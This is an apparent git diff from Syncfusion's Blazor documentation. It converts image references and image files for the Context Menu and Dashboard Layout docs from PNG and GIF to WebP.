-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZhUCBBcgOQARqgw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Binding Blazor ContextMenu Events](./../images/blazor-contextmenu-component.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZhUCBBcgOQARqgw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Binding Blazor ContextMenu Events](./../images/blazor-contextmenu-component.webp)" %}
\ No newline at end of file
diff --git a/blazor/context-menu/how-to/change-animation-settings.md b/blazor/context-menu/how-to/change-animation-settings.md
index 745ec2f029..62e2384ff6 100644
--- a/blazor/context-menu/how-to/change-animation-settings.md
+++ b/blazor/context-menu/how-to/change-animation-settings.md
@@ -48,4 +48,4 @@ The following sample illustrates how to open Context Menu with `FadeIn` effect w
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLAirrwgacxYkyN?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu with Animation](./../images/blazor-contextmenu-component.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLAirrwgacxYkyN?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu with Animation](./../images/blazor-contextmenu-component.webp)" %}
\ No newline at end of file
diff --git a/blazor/context-menu/how-to/data-binding.md b/blazor/context-menu/how-to/data-binding.md
index 83f135bc72..e6a2a4b991 100644
--- a/blazor/context-menu/how-to/data-binding.md
+++ b/blazor/context-menu/how-to/data-binding.md
@@ -51,4 +51,4 @@ To bind local data source to the Context Menu, menu items are populated from dat
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXLAWhrcKOGPagPi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Data Binding in Blazor ContextMenu](./../images/blazor-contextmenu-databinding.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXLAWhrcKOGPagPi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Data Binding in Blazor ContextMenu](./../images/blazor-contextmenu-databinding.webp)" %}
\ No newline at end of file
diff --git a/blazor/context-menu/how-to/enable-or-disable-context-menu-items.md b/blazor/context-menu/how-to/enable-or-disable-context-menu-items.md
index aaa83ff52a..3a868eaba4 100644
--- a/blazor/context-menu/how-to/enable-or-disable-context-menu-items.md
+++ b/blazor/context-menu/how-to/enable-or-disable-context-menu-items.md
@@ -63,6 +63,6 @@ In the following example, the **Display Settings** in parent items is disabled d
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBUiVVGAalMSCbE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Enabling or Disabling Items in Blazor ContextMenu](./../images/blazor-contextmenu-enable-disable-item.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBUiVVGAalMSCbE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Enabling or Disabling Items in Blazor ContextMenu](./../images/blazor-contextmenu-enable-disable-item.webp)" %}
 
 N> To disable sub menu items, use the `OnOpen` event.
diff --git a/blazor/context-menu/how-to/open-and-close-context-menu.md b/blazor/context-menu/how-to/open-and-close-context-menu.md
index 79394579b4..2c015a2e9f 100644
--- a/blazor/context-menu/how-to/open-and-close-context-menu.md
+++ b/blazor/context-menu/how-to/open-and-close-context-menu.md
@@ -38,4 +38,4 @@ To manually close the Context Menu, [Close](https://help.syncfusion.com/cr/blazo
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXrUMLrGUuEEhxVL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu displays Dialog Menu](./../images/blazor-contextmenu-dialog.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXrUMLrGUuEEhxVL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu displays Dialog Menu](./../images/blazor-contextmenu-dialog.webp)" %}
\ No newline at end of file
diff --git a/blazor/context-menu/how-to/open-context-menu-click.md b/blazor/context-menu/how-to/open-context-menu-click.md
index 62a89bd576..5e9258b454 100644
--- a/blazor/context-menu/how-to/open-context-menu-click.md
+++ b/blazor/context-menu/how-to/open-context-menu-click.md
@@ -48,4 +48,4 @@ In the following sample, Sub Menu will open while clicking `Save` item.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDBUiLLwAuYIrlKL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu](./../images/contextmenu-submenu.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDBUiLLwAuYIrlKL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu](./../images/contextmenu-submenu.webp)" %}
\ No newline at end of file
diff --git a/blazor/context-menu/how-to/open-dialog.md b/blazor/context-menu/how-to/open-dialog.md
index dc0f293b7d..89cc37793d 100644
--- a/blazor/context-menu/how-to/open-dialog.md
+++ b/blazor/context-menu/how-to/open-dialog.md
@@ -65,4 +65,4 @@ In the following sample, Dialog will open while clicking `Save As...` item.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LthUWrrGqYuNWlPV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu](./../images/blazor-contextmenu.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LthUWrrGqYuNWlPV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu](./../images/blazor-contextmenu.webp)" %}
\ No newline at end of file
diff --git a/blazor/context-menu/how-to/scrollable-context-menu.md b/blazor/context-menu/how-to/scrollable-context-menu.md
index 6d8eab7a65..90a5f39a13 100644
--- a/blazor/context-menu/how-to/scrollable-context-menu.md
+++ b/blazor/context-menu/how-to/scrollable-context-menu.md
@@ -60,4 +60,4 @@ To achieve this functionality, set the `EnableScrolling` property to `true`. Add
 
 ```
 
-![Blazor ContextMenu with Scroller Support](./../images/blazor-contextmenu-scroller.png)
\ No newline at end of file
+![Blazor ContextMenu with Scroller Support](./../images/blazor-contextmenu-scroller.webp)
\ No newline at end of file
diff --git a/blazor/context-menu/icons-and-navigations.md b/blazor/context-menu/icons-and-navigations.md
index 983001b789..24851c07f6 100644
--- a/blazor/context-menu/icons-and-navigations.md
+++ b/blazor/context-menu/icons-and-navigations.md
@@ -48,7 +48,7 @@ The [Blazor Context Menu](https://www.syncfusion.com/blazor-components/blazor-co
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjrUsBrmqknfsARd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu with Icon](./images/blazor-contextmenu-icon.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjrUsBrmqknfsARd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu with Icon](./images/blazor-contextmenu-icon.webp)" %}
 
 N> The Context Menu provides a set of [icons](https://blazor.syncfusion.com/documentation/appearance/icons) that can be loaded by applying `e-icons` class name to the element.
 You can also use third party icons on the Context Menu using the `IconCss`property.
@@ -83,4 +83,4 @@ Navigation in Context Menu is used to navigate to the other web page when menu i
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtVACrLGKuddWNNk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Navigation in Blazor ContextMenu](./images/blazor-contextmenu-navigation.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtVACrLGKuddWNNk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Navigation in Blazor ContextMenu](./images/blazor-contextmenu-navigation.webp)" %}
\ No newline at end of file
diff --git a/blazor/context-menu/images/Blazor-server-app-creation.png b/blazor/context-menu/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/context-menu/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/context-menu/images/Blazor-server-app-creation.webp b/blazor/context-menu/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/context-menu/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/context-menu/images/blazor-app-interactive-mode.png b/blazor/context-menu/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/context-menu/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/context-menu/images/blazor-app-interactive-mode.webp b/blazor/context-menu/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/context-menu/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-component.PNG b/blazor/context-menu/images/blazor-contextmenu-component.PNG
deleted file mode 100644
index 51f76297a6..0000000000
Binary files a/blazor/context-menu/images/blazor-contextmenu-component.PNG and /dev/null differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-component.webp b/blazor/context-menu/images/blazor-contextmenu-component.webp
new file mode 100644
index 0000000000..517a9f35ed
Binary files /dev/null and b/blazor/context-menu/images/blazor-contextmenu-component.webp differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-databinding.png b/blazor/context-menu/images/blazor-contextmenu-databinding.png
deleted file mode 100644
index a1dc271455..0000000000
Binary files a/blazor/context-menu/images/blazor-contextmenu-databinding.png and /dev/null differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-databinding.webp b/blazor/context-menu/images/blazor-contextmenu-databinding.webp
new file mode 100644
index 0000000000..313ab3e99e
Binary files /dev/null and b/blazor/context-menu/images/blazor-contextmenu-databinding.webp differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-dialog.PNG b/blazor/context-menu/images/blazor-contextmenu-dialog.PNG
deleted file mode 100644
index b2ee9dcf65..0000000000
Binary files a/blazor/context-menu/images/blazor-contextmenu-dialog.PNG and /dev/null differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-dialog.webp b/blazor/context-menu/images/blazor-contextmenu-dialog.webp
new file mode 100644
index 0000000000..2ac7cb01ca
Binary files /dev/null and b/blazor/context-menu/images/blazor-contextmenu-dialog.webp differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-enable-disable-item.png b/blazor/context-menu/images/blazor-contextmenu-enable-disable-item.png
deleted file mode 100644
index 8a68d3b2e2..0000000000
Binary files a/blazor/context-menu/images/blazor-contextmenu-enable-disable-item.png and /dev/null differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-enable-disable-item.webp b/blazor/context-menu/images/blazor-contextmenu-enable-disable-item.webp
new file mode 100644
index 0000000000..1af6951507
Binary files /dev/null and b/blazor/context-menu/images/blazor-contextmenu-enable-disable-item.webp differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-icon.PNG b/blazor/context-menu/images/blazor-contextmenu-icon.PNG
deleted file mode 100644
index d32a7affef..0000000000
Binary files a/blazor/context-menu/images/blazor-contextmenu-icon.PNG and /dev/null differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-icon.webp b/blazor/context-menu/images/blazor-contextmenu-icon.webp
new file mode 100644
index 0000000000..ffab56c8ea
Binary files /dev/null and b/blazor/context-menu/images/blazor-contextmenu-icon.webp differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-item-customization.png b/blazor/context-menu/images/blazor-contextmenu-item-customization.png
deleted file mode 100644
index d626ea1c70..0000000000
Binary files a/blazor/context-menu/images/blazor-contextmenu-item-customization.png and /dev/null differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-item-customization.webp b/blazor/context-menu/images/blazor-contextmenu-item-customization.webp
new file mode 100644
index 0000000000..5a514e06e1
Binary files /dev/null and b/blazor/context-menu/images/blazor-contextmenu-item-customization.webp differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-items.png b/blazor/context-menu/images/blazor-contextmenu-items.png
deleted file mode 100644
index 41df769a53..0000000000
Binary files a/blazor/context-menu/images/blazor-contextmenu-items.png and /dev/null differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-items.webp b/blazor/context-menu/images/blazor-contextmenu-items.webp
new file mode 100644
index 0000000000..52623d5525
Binary files /dev/null and b/blazor/context-menu/images/blazor-contextmenu-items.webp differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-navigation.png b/blazor/context-menu/images/blazor-contextmenu-navigation.png
deleted file mode 100644
index d12c592f15..0000000000
Binary files a/blazor/context-menu/images/blazor-contextmenu-navigation.png and /dev/null differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-navigation.webp b/blazor/context-menu/images/blazor-contextmenu-navigation.webp
new file mode 100644
index 0000000000..cf208d4a85
Binary files /dev/null and b/blazor/context-menu/images/blazor-contextmenu-navigation.webp differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-scroller.png b/blazor/context-menu/images/blazor-contextmenu-scroller.png
deleted file mode 100644
index 30146588b2..0000000000
Binary files a/blazor/context-menu/images/blazor-contextmenu-scroller.png and /dev/null differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-scroller.webp b/blazor/context-menu/images/blazor-contextmenu-scroller.webp
new file mode 100644
index 0000000000..d21cb6bd51
Binary files /dev/null and b/blazor/context-menu/images/blazor-contextmenu-scroller.webp differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-with-multilevel.png b/blazor/context-menu/images/blazor-contextmenu-with-multilevel.png
deleted file mode 100644
index 91c3943c72..0000000000
Binary files a/blazor/context-menu/images/blazor-contextmenu-with-multilevel.png and /dev/null differ
diff --git a/blazor/context-menu/images/blazor-contextmenu-with-multilevel.webp b/blazor/context-menu/images/blazor-contextmenu-with-multilevel.webp
new file mode 100644
index 0000000000..9dd53de391
Binary files /dev/null and b/blazor/context-menu/images/blazor-contextmenu-with-multilevel.webp differ
diff --git a/blazor/context-menu/images/blazor-contextmenu.PNG b/blazor/context-menu/images/blazor-contextmenu.PNG
deleted file mode 100644
index ff23652dc2..0000000000
Binary files a/blazor/context-menu/images/blazor-contextmenu.PNG and /dev/null differ
diff --git a/blazor/context-menu/images/blazor-contextmenu.webp b/blazor/context-menu/images/blazor-contextmenu.webp
new file mode 100644
index 0000000000..da71275875
Binary files /dev/null and b/blazor/context-menu/images/blazor-contextmenu.webp differ
diff --git a/blazor/context-menu/images/blazor-create-web-app.png b/blazor/context-menu/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/context-menu/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/context-menu/images/blazor-create-web-app.webp b/blazor/context-menu/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/context-menu/images/blazor-create-web-app.webp differ
diff --git a/blazor/context-menu/images/blazor-wasm-app-template.png b/blazor/context-menu/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/context-menu/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/context-menu/images/blazor-wasm-app-template.webp b/blazor/context-menu/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/context-menu/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/context-menu/images/cm-add.png b/blazor/context-menu/images/cm-add.png
deleted file mode 100644
index 5c74141c2e..0000000000
Binary files a/blazor/context-menu/images/cm-add.png and /dev/null differ
diff --git a/blazor/context-menu/images/cm-add.webp b/blazor/context-menu/images/cm-add.webp
new file mode 100644
index 0000000000..f4c36d6127
Binary files /dev/null and b/blazor/context-menu/images/cm-add.webp differ
diff --git a/blazor/context-menu/images/cm-dynamic.png b/blazor/context-menu/images/cm-dynamic.png
deleted file mode 100644
index 92cf308f66..0000000000
Binary files a/blazor/context-menu/images/cm-dynamic.png and /dev/null differ
diff --git a/blazor/context-menu/images/cm-dynamic.webp b/blazor/context-menu/images/cm-dynamic.webp
new file mode 100644
index 0000000000..d85d358487
Binary files /dev/null and b/blazor/context-menu/images/cm-dynamic.webp differ
diff --git a/blazor/context-menu/images/contextmenu-submenu.png b/blazor/context-menu/images/contextmenu-submenu.png
deleted file mode 100644
index 6e567699d7..0000000000
Binary files a/blazor/context-menu/images/contextmenu-submenu.png and /dev/null differ
diff --git a/blazor/context-menu/images/contextmenu-submenu.webp b/blazor/context-menu/images/contextmenu-submenu.webp
new file mode 100644
index 0000000000..188f4c1f82
Binary files /dev/null and b/blazor/context-menu/images/contextmenu-submenu.webp differ
diff --git a/blazor/context-menu/images/import-cdn.png b/blazor/context-menu/images/import-cdn.png
deleted file mode 100644
index 075d96aab3..0000000000
Binary files a/blazor/context-menu/images/import-cdn.png and /dev/null differ
diff --git a/blazor/context-menu/images/import-cdn.webp b/blazor/context-menu/images/import-cdn.webp
new file mode 100644
index 0000000000..7db6a111c2
Binary files /dev/null and b/blazor/context-menu/images/import-cdn.webp differ
diff --git a/blazor/context-menu/images/new-project.png b/blazor/context-menu/images/new-project.png
deleted file mode 100644
index 057f6b0f7c..0000000000
Binary files a/blazor/context-menu/images/new-project.png and /dev/null differ
diff --git a/blazor/context-menu/images/new-project.webp b/blazor/context-menu/images/new-project.webp
new file mode 100644
index 0000000000..6ac8098d50
Binary files /dev/null and b/blazor/context-menu/images/new-project.webp differ
diff --git a/blazor/context-menu/images/nuget-explorer.png b/blazor/context-menu/images/nuget-explorer.png
deleted file mode 100644
index f9306f219e..0000000000
Binary files a/blazor/context-menu/images/nuget-explorer.png and /dev/null differ
diff --git a/blazor/context-menu/images/nuget-explorer.webp b/blazor/context-menu/images/nuget-explorer.webp
new file mode 100644
index 0000000000..4353f9ac92
Binary files /dev/null and b/blazor/context-menu/images/nuget-explorer.webp differ
diff --git a/blazor/context-menu/images/razor-components-template.png b/blazor/context-menu/images/razor-components-template.png
deleted file mode 100644
index 50082a3d37..0000000000
Binary files a/blazor/context-menu/images/razor-components-template.png and /dev/null differ
diff --git a/blazor/context-menu/images/razor-components-template.webp b/blazor/context-menu/images/razor-components-template.webp
new file mode 100644
index 0000000000..11187f3630
Binary files /dev/null and b/blazor/context-menu/images/razor-components-template.webp differ
diff --git a/blazor/context-menu/images/select-nuget.png b/blazor/context-menu/images/select-nuget.png
deleted file mode 100644
index 4b67d0ce11..0000000000
Binary files a/blazor/context-menu/images/select-nuget.png and /dev/null differ
diff --git a/blazor/context-menu/images/select-nuget.webp b/blazor/context-menu/images/select-nuget.webp
new file mode 100644
index 0000000000..d3bdf0e663
Binary files /dev/null and b/blazor/context-menu/images/select-nuget.webp differ
diff --git a/blazor/dashboard-layout/faq/all-panels-rendered-at-the-same-position.md b/blazor/dashboard-layout/faq/all-panels-rendered-at-the-same-position.md
index 4d71f1e484..ab4236e7b1 100644
--- a/blazor/dashboard-layout/faq/all-panels-rendered-at-the-same-position.md
+++ b/blazor/dashboard-layout/faq/all-panels-rendered-at-the-same-position.md
@@ -63,4 +63,4 @@ Here is an example demonstrating how to assign unique `Id` values to dynamically
 
 ```
 {% previewsample "https://blazorplayground.syncfusion.com/embed/BXryNOLepGKtuKUL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-![Blazor DashboardLayout](../images/panel-overlap.png)
\ No newline at end of file
+![Blazor DashboardLayout](../images/panel-overlap.webp)
\ No newline at end of file
diff --git a/blazor/dashboard-layout/images/Blazor-server-app-creation.png b/blazor/dashboard-layout/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/dashboard-layout/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/Blazor-server-app-creation.webp b/blazor/dashboard-layout/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/dashboard-layout/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-admin-template-layout-panel-size.png b/blazor/dashboard-layout/images/blazor-admin-template-layout-panel-size.png
deleted file mode 100644
index 0cef273098..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-admin-template-layout-panel-size.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-admin-template-layout-panel-size.webp b/blazor/dashboard-layout/images/blazor-admin-template-layout-panel-size.webp
new file mode 100644
index 0000000000..f2649b7077
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-admin-template-layout-panel-size.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-admin-template-layout-with-header.png b/blazor/dashboard-layout/images/blazor-admin-template-layout-with-header.png
deleted file mode 100644
index 258bced48e..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-admin-template-layout-with-header.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-admin-template-layout-with-header.webp b/blazor/dashboard-layout/images/blazor-admin-template-layout-with-header.webp
new file mode 100644
index 0000000000..b1717d72aa
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-admin-template-layout-with-header.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-app-interactive-mode.png b/blazor/dashboard-layout/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-app-interactive-mode.webp b/blazor/dashboard-layout/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-create-web-app.png b/blazor/dashboard-layout/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-create-web-app.webp b/blazor/dashboard-layout/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-create-web-app.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-cell-size.png b/blazor/dashboard-layout/images/blazor-dashboard-layout-cell-size.png
deleted file mode 100644
index 6fb67b74b6..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-dashboard-layout-cell-size.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-cell-size.webp b/blazor/dashboard-layout/images/blazor-dashboard-layout-cell-size.webp
new file mode 100644
index 0000000000..6a3575007c
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-dashboard-layout-cell-size.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-cell-space.png b/blazor/dashboard-layout/images/blazor-dashboard-layout-cell-space.png
deleted file mode 100644
index ce4f1691c6..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-dashboard-layout-cell-space.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-cell-space.webp b/blazor/dashboard-layout/images/blazor-dashboard-layout-cell-space.webp
new file mode 100644
index 0000000000..b1020eef19
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-dashboard-layout-cell-space.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-component.png b/blazor/dashboard-layout/images/blazor-dashboard-layout-component.png
deleted file mode 100644
index 78c9b8b538..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-dashboard-layout-component.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-component.webp b/blazor/dashboard-layout/images/blazor-dashboard-layout-component.webp
new file mode 100644
index 0000000000..03aa11ae22
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-dashboard-layout-component.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-drag-and-drop.gif b/blazor/dashboard-layout/images/blazor-dashboard-layout-drag-and-drop.gif
deleted file mode 100644
index ec886added..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-dashboard-layout-drag-and-drop.gif and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-drag-and-drop.webp b/blazor/dashboard-layout/images/blazor-dashboard-layout-drag-and-drop.webp
new file mode 100644
index 0000000000..6b74f9339f
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-dashboard-layout-drag-and-drop.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-drag-handler-of-panels.gif b/blazor/dashboard-layout/images/blazor-dashboard-layout-drag-handler-of-panels.gif
deleted file mode 100644
index b0988b471f..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-dashboard-layout-drag-handler-of-panels.gif and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-drag-handler-of-panels.webp b/blazor/dashboard-layout/images/blazor-dashboard-layout-drag-handler-of-panels.webp
new file mode 100644
index 0000000000..9ca6728dbe
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-dashboard-layout-drag-handler-of-panels.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-gridlines.png b/blazor/dashboard-layout/images/blazor-dashboard-layout-gridlines.png
deleted file mode 100644
index 4d80563dac..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-dashboard-layout-gridlines.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-gridlines.webp b/blazor/dashboard-layout/images/blazor-dashboard-layout-gridlines.webp
new file mode 100644
index 0000000000..c13fdaa5a3
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-dashboard-layout-gridlines.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-panel-position.png b/blazor/dashboard-layout/images/blazor-dashboard-layout-panel-position.png
deleted file mode 100644
index 7b9b8fbd8c..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-dashboard-layout-panel-position.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-panel-position.webp b/blazor/dashboard-layout/images/blazor-dashboard-layout-panel-position.webp
new file mode 100644
index 0000000000..c6e598d9a7
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-dashboard-layout-panel-position.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-panel-resizing.gif b/blazor/dashboard-layout/images/blazor-dashboard-layout-panel-resizing.gif
deleted file mode 100644
index 1ea87d19fd..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-dashboard-layout-panel-resizing.gif and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-panel-resizing.webp b/blazor/dashboard-layout/images/blazor-dashboard-layout-panel-resizing.webp
new file mode 100644
index 0000000000..84fe66f76f
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-dashboard-layout-panel-resizing.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-single-content.png b/blazor/dashboard-layout/images/blazor-dashboard-layout-single-content.png
deleted file mode 100644
index a07e95e793..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-dashboard-layout-single-content.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-single-content.webp b/blazor/dashboard-layout/images/blazor-dashboard-layout-single-content.webp
new file mode 100644
index 0000000000..50cd0596dd
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-dashboard-layout-single-content.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-with-chart-component.png b/blazor/dashboard-layout/images/blazor-dashboard-layout-with-chart-component.png
deleted file mode 100644
index 742dfef2cf..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-dashboard-layout-with-chart-component.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-dashboard-layout-with-chart-component.webp b/blazor/dashboard-layout/images/blazor-dashboard-layout-with-chart-component.webp
new file mode 100644
index 0000000000..2ae1dd454f
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-dashboard-layout-with-chart-component.webp differ
diff --git a/blazor/dashboard-layout/images/blazor-wasm-app-template.png b/blazor/dashboard-layout/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/dashboard-layout/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/blazor-wasm-app-template.webp b/blazor/dashboard-layout/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/dashboard-layout/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/dashboard-layout/images/cell-size.png b/blazor/dashboard-layout/images/cell-size.png
deleted file mode 100644
index 4325b036ef..0000000000
Binary files a/blazor/dashboard-layout/images/cell-size.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/cell-size.webp b/blazor/dashboard-layout/images/cell-size.webp
new file mode 100644
index 0000000000..368978c903
Binary files /dev/null and b/blazor/dashboard-layout/images/cell-size.webp differ
diff --git a/blazor/dashboard-layout/images/cell-spacing.png b/blazor/dashboard-layout/images/cell-spacing.png
deleted file mode 100644
index 875eb26a4c..0000000000
Binary files a/blazor/dashboard-layout/images/cell-spacing.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/cell-spacing.webp b/blazor/dashboard-layout/images/cell-spacing.webp
new file mode 100644
index 0000000000..ba575979b0
Binary files /dev/null and b/blazor/dashboard-layout/images/cell-spacing.webp differ
diff --git a/blazor/dashboard-layout/images/chart-component.png b/blazor/dashboard-layout/images/chart-component.png
